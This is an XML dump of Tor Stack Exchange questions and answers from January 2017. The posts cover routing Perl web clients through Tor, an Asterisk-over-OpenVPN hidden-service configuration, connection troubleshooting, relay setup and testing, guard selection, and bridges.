  <row Id="13620" PostTypeId="2" ParentId="13617" CreationDate="2017-01-05T14:37:46.977" Score="0" Body="&lt;p&gt;It is covered exactly at the &lt;a href=&quot;http://search.cpan.org/dist/WWW-Mechanize/lib/WWW/Mechanize/FAQ.pod#How_do_I_use_WWW::Mechanize_through_a_proxy_server?&quot; rel=&quot;nofollow noreferrer&quot;&gt;WWW::Mechanize FAQ&lt;/a&gt; and you need to add &lt;em&gt;before&lt;/em&gt; connecting a strings like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$mech-&gt;no_proxy('localhost');&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$mech-&gt;proxy('http','&lt;a href=&quot;http://proxy-ip:proxy-port&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://proxy-ip:proxy-port&lt;/a&gt;');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Be warned - it sets &lt;em&gt;http proxy only&lt;/em&gt;, so if &lt;em&gt;any&lt;/em&gt; of redirects e.t.c. will use HTTPS, you need to set https proxy too like http one.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-05T14:37:46.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13621" PostTypeId="2" ParentId="13610" CreationDate="2017-01-05T14:41:47.317" Score="0" Body="&lt;p&gt;Exactly like &lt;a href=&quot;http://mlawire.blogspot.ru/2009/07/using-lwp-with-tor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; - citing the code snippet: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;use strict;&#xA;use LWP::UserAgent;&#xA;&#xA;my $ua = LWP::UserAgent-&amp;gt;new(&#xA;  agent =&amp;gt; q{Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET &#xA;CLR 1.1.4322)},&#xA;);&#xA;$ua-&amp;gt;proxy([qw/ http https /] =&amp;gt; 'socks://localhost:9050'); # Tor proxy&#xA;$ua-&amp;gt;cookie_jar({});&#xA;my $rsp = $ua-&amp;gt;get('http://www.yahoo.com/');&#xA;print $rsp-&amp;gt;content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-05T14:41:47.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13622" PostTypeId="2" ParentId="13618" CreationDate="2017-01-05T19:28:44.073" Score="1" Body="&lt;p&gt;No, Tor Button will not notice the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Button has absolutely no knowledge about what is going on beyond the third hop, the 3 extra relays displayed are just placeholders to illustrate the concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be the case that sometimes there are 0, 1 or 6 relays beyond the 3 that Tor Button knows about, it simply cannot know (which is the point of onion services).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-05T19:28:44.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13623" PostTypeId="2" ParentId="2172" CreationDate="2017-01-06T00:20:17.780" Score="0" Body="&lt;p&gt;I started Asterisk VoIP server over OpenVPN in Tor hidden service.&#xA;It's working with 1s delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create OpenSSL CA with Easy-RSA or OpenSSL for OpenVPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is OpenVPN server configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;tls-server&#xA;port 1194&#xA;proto tcp&#xA;dev tun&#xA;ca /etc/ssl/ca.crt&#xA;cert /etc/ssl/server.crt&#xA;key /etc/ssl/server.key&#xA;dh /etc/ssl/dh2048.pem&#xA;topology subnet&#xA;server 10.0.0.0 255.255.0.0&#xA;ifconfig-pool-persist ipp.txt&#xA;keepalive 10 120&#xA;cipher AES-256-CBC&#xA;max-clients 100&#xA;persist-key&#xA;persist-tun&#xA;status /var/log/openvpn-status.log&#xA;log /var/log/openvpn.log&#xA;log-append /var/log/openvpn-append.log&#xA;verb 3&#xA;auth SHA512&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is OpenVPN client configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;client&#xA;dev tun&#xA;proto tcp&#xA;remote svntrqfgsa7jgnpm.onion 1194&#xA;resolv-retry infinite&#xA;nobind&#xA;persist-key&#xA;persist-tun&#xA;ca /home/norbert/new/ca.crt&#xA;cert /home/norbert/new/demo-alice.crt&#xA;key /home/norbert/new/demo-alice.key&#xA;cipher AES-256-CBC&#xA;auth SHA512&#xA;verb 3&#xA;socks-proxy 127.0.0.1 9050&#xA;remote-cert-tls server&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is Asterisk sip.conf configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[general]&#xA;transport=udp&#xA;port=5060&#xA;bindaddr=10.0.0.1&#xA;disallow=all&#xA;allow=ulaw&#xA;allow=alaw&#xA;allow=gsm&#xA;directmedia=no&#xA;nat=yes&#xA;localnet=10.0.0.0/255.255.0.0&#xA;&#xA;[friends_internal](!)&#xA;type=friend&#xA;host=dynamic&#xA;context=from-internal&#xA;disallow=all&#xA;allow=ulaw&#xA;allow=alaw&#xA;allow=gsm&#xA;&#xA;[demo-alice](friends_internal)&#xA;secret=password&#xA;&#xA;[demo-bob](friends_internal)&#xA;secret=password&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is Asterisk extensions.conf configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[from-internal]&#xA;exten=&gt;6001,1,Dial(SIP/demo-alice,20)&#xA;exten=&gt;6002,1,Dial(SIP/demo-bob,20)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is Tor hidden service server torrc configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;HiddenServiceDir /usr/local/torhs/winternight/&#xA;HiddenServicePort 1194 127.0.0.1:1194&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is Tor client configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;SOCKSPort 9050&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all. It's working with 1s delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documented in these tutorials:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/13595/how-to-setup-asterisk-voip-server-over-openvpn-in-tor-hidden-service-on-freebsd&quot;&gt;How To setup Asterisk VoIP server over OpenVPN in Tor hidden service on FreeBSD system&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://forums.freebsd.org/threads/59190/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.freebsd.org/threads/59190/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Enjoy. :)&lt;/p&gt;&#xA;" OwnerUserId="15723" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-01-11T05:21:27.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13624" PostTypeId="2" ParentId="9629" CreationDate="2017-01-06T00:23:01.863" Score="1" Body="&lt;p&gt;I started Asterisk VoIP server over OpenVPN in Tor hidden service.&#xA;It's working with 1s delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create OpenSSL CA with Easy-RSA or OpenSSL for OpenVPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is OpenVPN server configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;tls-server&#xA;port 1194&#xA;proto tcp&#xA;dev tun&#xA;ca /etc/ssl/ca.crt&#xA;cert /etc/ssl/server.crt&#xA;key /etc/ssl/server.key&#xA;dh /etc/ssl/dh2048.pem&#xA;topology subnet&#xA;server 10.0.0.0 255.255.0.0&#xA;ifconfig-pool-persist ipp.txt&#xA;keepalive 10 120&#xA;cipher AES-256-CBC&#xA;max-clients 100&#xA;persist-key&#xA;persist-tun&#xA;status /var/log/openvpn-status.log&#xA;log /var/log/openvpn.log&#xA;log-append /var/log/openvpn-append.log&#xA;verb 3&#xA;auth SHA512&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is OpenVPN client configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;client&#xA;dev tun&#xA;proto tcp&#xA;remote svntrqfgsa7jgnpm.onion 1194&#xA;resolv-retry infinite&#xA;nobind&#xA;persist-key&#xA;persist-tun&#xA;ca /home/norbert/new/ca.crt&#xA;cert /home/norbert/new/demo-alice.crt&#xA;key /home/norbert/new/demo-alice.key&#xA;cipher AES-256-CBC&#xA;auth SHA512&#xA;verb 3&#xA;socks-proxy 127.0.0.1 9050&#xA;remote-cert-tls server&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is Asterisk sip.conf configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[general]&#xA;transport=udp&#xA;port=5060&#xA;bindaddr=10.0.0.1&#xA;disallow=all&#xA;allow=ulaw&#xA;allow=alaw&#xA;allow=gsm&#xA;directmedia=no&#xA;nat=yes&#xA;localnet=10.0.0.0/255.255.0.0&#xA;&#xA;[friends_internal](!)&#xA;type=friend&#xA;host=dynamic&#xA;context=from-internal&#xA;disallow=all&#xA;allow=ulaw&#xA;allow=alaw&#xA;allow=gsm&#xA;&#xA;[demo-alice](friends_internal)&#xA;secret=password&#xA;&#xA;[demo-bob](friends_internal)&#xA;secret=password&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is Asterisk extensions.conf configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[from-internal]&#xA;exten=&gt;6001,1,Dial(SIP/demo-alice,20)&#xA;exten=&gt;6002,1,Dial(SIP/demo-bob,20)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is Tor hidden service server torrc configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;HiddenServiceDir /usr/local/torhs/winternight/&#xA;HiddenServicePort 1194 127.0.0.1:1194&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is Tor client configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;SOCKSPort 9050&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all. It's working with 1s delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documented in these tutorials:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/13595/how-to-setup-asterisk-voip-server-over-openvpn-in-tor-hidden-service-on-freebsd&quot;&gt;How To setup Asterisk VoIP server over OpenVPN in Tor hidden service on FreeBSD system&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://forums.freebsd.org/threads/59190/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.freebsd.org/threads/59190/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Enjoy. :)&lt;/p&gt;&#xA;" OwnerUserId="15723" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-01-11T05:20:52.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13627" PostTypeId="1" CreationDate="2017-01-06T08:26:59.503" Score="0" ViewCount="429" Body="&lt;p&gt;I was considering about running a relay to help the Tor community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I was wondering what's happening if someone using the Tor network to access illegal websites (such as pedophile websites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to setup my firewall to prevent the relay to open these websites or does the Tor network already filter these kind of illegal websites?&lt;/p&gt;&#xA;" OwnerUserId="15763" LastEditorDisplayName="user5" LastEditDate="2017-01-06T17:30:27.947" LastActivityDate="2017-02-10T07:16:56.173" Title="Running a Tor relay and make it secure" Tags="|security|relays|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13628" PostTypeId="1" CreationDate="2017-01-06T10:50:29.550" Score="3" ViewCount="35453" Body="&lt;p&gt;So I've installed Tor onto my PC for the third time (Uninstalled previously because I didn't use it as much). The first two times it worked perfectly. I could connect, start up, etc but now it isn't working. I tried connecting directly and the connection got stuck at &quot;Establishing an encrypted directory connection”. Upon getting this, I cancelled and started it up again. Now, it's stuck at &quot;Connecting to the Tor network&quot;. I cancelled it one more time and started it up. It seemed like it was working and then gave me an error saying &quot;Establishing an encrypted directory connection failed&quot;. I decided to search online and found out about the bridges. I tried using the normal Obfs4 Bridge and then the meek bridges and it still has not worked. Not sure what to do so I'm just posting this here and hoping someone can help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps, here's the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06/01/2017 10:26:56.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:26:57.000 [NOTICE] Renaming old configuration file to &quot;C:\Users\The Dragon Cast\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.2&quot; &#xA;06/01/2017 10:27:18.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:27:18.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:27:18.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:27:18.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:27:18.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;06/01/2017 10:27:19.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;06/01/2017 10:31:30.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:31:30.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:31:30.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:31:31.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;06/01/2017 10:31:39.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:31:39.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:31:39.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:31:39.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:31:42.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:31:42.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:31:42.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:31:56.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:31:56.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:31:56.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:31:56.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:32:11.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host A832D176ECD5C7C6B58825AE22FC4C90FA249637 at 154.35.22.11:443) &#xA;06/01/2017 10:32:11.600 [WARN] 10 connections have failed: &#xA;06/01/2017 10:32:11.600 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/01/2017 10:32:15.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:32:15.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:32:15.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:32:15.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host 7B126FAB960E5AC6A629C729434FF84FB5074EC2 at 192.99.11.54:443) &#xA;06/01/2017 10:32:15.000 [WARN] 12 connections have failed: &#xA;06/01/2017 10:32:15.000 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/01/2017 10:32:15.000 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;06/01/2017 10:32:15.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host BBB28DF0F201E706BE564EFE690FE9577DD8386D at 109.105.109.147:13764) &#xA;06/01/2017 10:32:15.000 [WARN] 14 connections have failed: &#xA;06/01/2017 10:32:15.000 [WARN]  12 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/01/2017 10:32:15.000 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;06/01/2017 10:32:15.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 13; recommendation warn; host 00DC6C4FA49A65BD1472993CF6730D54F11E0DBB at 154.35.22.12:4304) &#xA;06/01/2017 10:32:15.000 [WARN] 15 connections have failed: &#xA;06/01/2017 10:32:15.000 [WARN]  13 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/01/2017 10:32:15.000 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;06/01/2017 10:32:15.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 14; recommendation warn; host 752CF7825B3B9EA6A98C83AC41F7099D67007EA5 at 198.245.60.50:443) &#xA;06/01/2017 10:32:15.000 [WARN] 16 connections have failed: &#xA;06/01/2017 10:32:15.000 [WARN]  14 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/01/2017 10:32:15.000 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;06/01/2017 10:32:15.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 15; recommendation warn; host FC259A04A328A07FED1413E9FC6526530D9FD87A at 85.17.30.79:443) &#xA;06/01/2017 10:32:15.000 [WARN] 17 connections have failed: &#xA;06/01/2017 10:32:15.000 [WARN]  15 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/01/2017 10:32:15.000 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;06/01/2017 10:32:15.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 16; recommendation warn; host A09D536DD1752D542E1FBB3C9CE4449D51298239 at 83.212.101.3:50002) &#xA;06/01/2017 10:32:15.000 [WARN] 18 connections have failed: &#xA;06/01/2017 10:32:15.000 [WARN]  16 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/01/2017 10:32:15.000 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;06/01/2017 10:32:24.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:32:24.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:32:24.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:32:24.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:38:21.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 17; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;06/01/2017 10:38:21.600 [WARN] 19 connections have failed: &#xA;06/01/2017 10:38:21.600 [WARN]  17 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/01/2017 10:38:21.600 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;06/01/2017 10:39:55.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/01/2017 10:39:55.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/01/2017 10:39:55.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2017-02-10T00:24:35.333" Title="Can't connect to the Tor Network" Tags="|help|error|tor-install|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2017-05-09T11:44:18.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="13629" PostTypeId="2" ParentId="13627" CreationDate="2017-01-06T14:34:04.223" Score="0" Body="&lt;p&gt;Use this script to bootstrap a debian server to be a set-and-forget Tor relay &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install -y git&#xA;git clone https://github.com/micahflee/tor-relay-bootstrap.git&#xA;cd tor-relay-bootstrap&#xA;./bootstrap.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15767" LastActivityDate="2017-01-06T14:34:04.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13630" PostTypeId="1" CreationDate="2017-01-06T16:57:50.983" Score="1" ViewCount="376" Body="&lt;p&gt;Previously, reportedly there used to be three relays when you used torbrowser to go to your actual destination . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your browser - relay1 (some IP country A) - relay 2 (some IP, country B) - relay 3 (some IP country C) - final destination URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for one thing, it seems it will be reduced to being used a single relay, but more worryingly I have not been able to figure out to know what relays are being used in torbrowser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help ?&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2019-06-25T17:05:55.753" Title="how to figure out how many relays are there in your tor URL?" Tags="|tor-browser-bundle|relays|exit-relays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13632" PostTypeId="1" CreationDate="2017-01-07T04:37:07.380" Score="1" ViewCount="230" Body="&lt;p&gt;I've been told guards are selected when a client first connects to the Tor network and used until they &lt;i&gt;disappear&lt;/i&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What constitutes &lt;i&gt;disappearing&lt;/i&gt;?&lt;br/&gt;&#xA;Do all guards need to disappear (and then the whole set is replaced) or just one (and only that one is replaced)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to get selected as a target's guard by DoS'ing random guards until you get chosen?&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2017-01-07T04:37:07.380" Title="How does selecting new guard relays work?" Tags="|attacks|guard|guard-node|dos|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13633" PostTypeId="2" ParentId="13615" CreationDate="2017-01-07T08:39:51.507" Score="0" Body="&lt;p&gt;No, using Tor Browser does not automatically turn your computer into a relay. Instructions on how to create a relay are here, but they suggest an OS other than MacOS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-doc-relay.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15689" LastActivityDate="2017-01-07T08:39:51.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13634" PostTypeId="1" CreationDate="2017-01-07T08:48:48.787" Score="1" ViewCount="851" Body="&lt;p&gt;Tor official page says “Tor  fails when the attacker can see both ends of the communications channel.”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then,setting up a bridge on pc A and using it myself as entry node on pc B (with vpn to change ip)can make this attack impossible?&#xA;(Because attacker can never be the entry node in this case.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, asking reliable friends to be the bridge each other is also effective to improve anonymity?&lt;/p&gt;&#xA;" OwnerUserId="15777" LastActivityDate="2017-01-07T23:40:21.690" Title="Bridge to improve anonymity" Tags="|bridge|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13635" PostTypeId="1" CreationDate="2017-01-07T11:20:13.900" Score="-1" ViewCount="458" Body="&lt;p&gt;How to setup linux relay on vps to allow only .onion connections, with no internet access?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to block any real-world internet access on relay. So when I use it with Tor Browser and .onion site would have any www.site.com/image.png link, it wouldn't load that image using exit nodes.&#xA;Only .onion links.&lt;/p&gt;&#xA;" OwnerUserId="15779" LastActivityDate="2017-02-01T06:57:25.900" Title="How to setup linux relay on vps to allow only .onion connections, with no internet access?" Tags="|configuration|" AnswerCount="2" CommentCount="2" ClosedDate="2017-06-18T20:47:30.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="13636" PostTypeId="1" CreationDate="2017-01-07T14:00:16.737" Score="0" ViewCount="88" Body="&lt;p&gt;I have implemented some additionnal functionnality to my Tor relay such as more bandwith control than what is possible with the &lt;code&gt;torrc&lt;/code&gt; configuration file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Howewer, I would like to try it because this one isn't stable and could crash due to some errors in my code. I firstly thought about bridge, which is nothing more than a private entry node, but it cannot be applied to midde/exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a proper way to test my relay ? How are Tor devs testing their updates ?&lt;/p&gt;&#xA;" OwnerUserId="15750" LastEditorUserId="15750" LastEditDate="2017-01-07T15:38:55.033" LastActivityDate="2017-01-07T16:03:56.297" Title="Testing my own relay without being evil to the network" Tags="|exit-relays|bridge|" AnswerCount="1" CommentCount="0" ClosedDate="2017-01-09T21:17:00.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="13637" PostTypeId="2" ParentId="13636" CreationDate="2017-01-07T16:03:56.297" Score="0" Body="&lt;p&gt;First, make sure no problem is showing up on the local test - this case you will need to run your own setup on VM's. Rise your own local directories and do the testing. After that - if nothing seems to be broken - safely test it &quot;in vivo&quot; on a real network, I'm doing it myself, no harm done =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-07T16:03:56.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13638" PostTypeId="2" ParentId="13635" CreationDate="2017-01-07T16:10:18.437" Score="0" Body="&lt;p&gt;It's impossible in full scale so far by using just Tor. But there's a workaround to do so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;VM1 consists of Tor, TransPort router and DNS server. Zone &lt;em&gt;onion&lt;/em&gt; is forwarded to Tor DNS resolver, all other queries are discarded as fails. Hidden services are mapped to local subnet like 10.0.0.0/16 or so. Firewall allows routed-client connections only to that subnet and the router-ip in the isolated host-only network. &lt;strong&gt;No Tor ports are open for this router-ip, i.e. socks or DNS, localhost-only binds&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;VM2 routes through VM1 via host-only network - here is your &quot;onion-only&quot; client without real internet access.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-07T16:10:18.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13639" PostTypeId="2" ParentId="13634" CreationDate="2017-01-07T19:46:24.220" Score="2" Body="&lt;p&gt;Yes, having friends running &lt;em&gt;private/unpublished&lt;/em&gt; bridge is a way to improve your anonymity, but here is a caveat : use a pluggable transport like obfs3/4 &lt;strong&gt;and&lt;/strong&gt; use bridge key you obtain/give &lt;em&gt;offline&lt;/em&gt;, i.e. in personal meeting. It helped in some cases when other things were failing, even a single-hop circuits with pre-seeded tor haven't worked, but this setup did the trick. The key is a pluggable transport &lt;strong&gt;with&lt;/strong&gt; the bridge key, other cases exposed Tor protocol to the bridge and failed. If your friends have a static IP's and you have already tried without a plug+key - be warned, some systems have banned the IP and rising a transport afterwards haven't worked so far&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use &lt;em&gt;just bridges&lt;/em&gt; to improve anonymity - no, it won't change the de-anonymization difficulty class from the case you're just using Tor without them. Bridges are for making it work when it is not working using default setup.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-01-07T23:16:23.637" LastActivityDate="2017-01-07T23:16:23.637" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
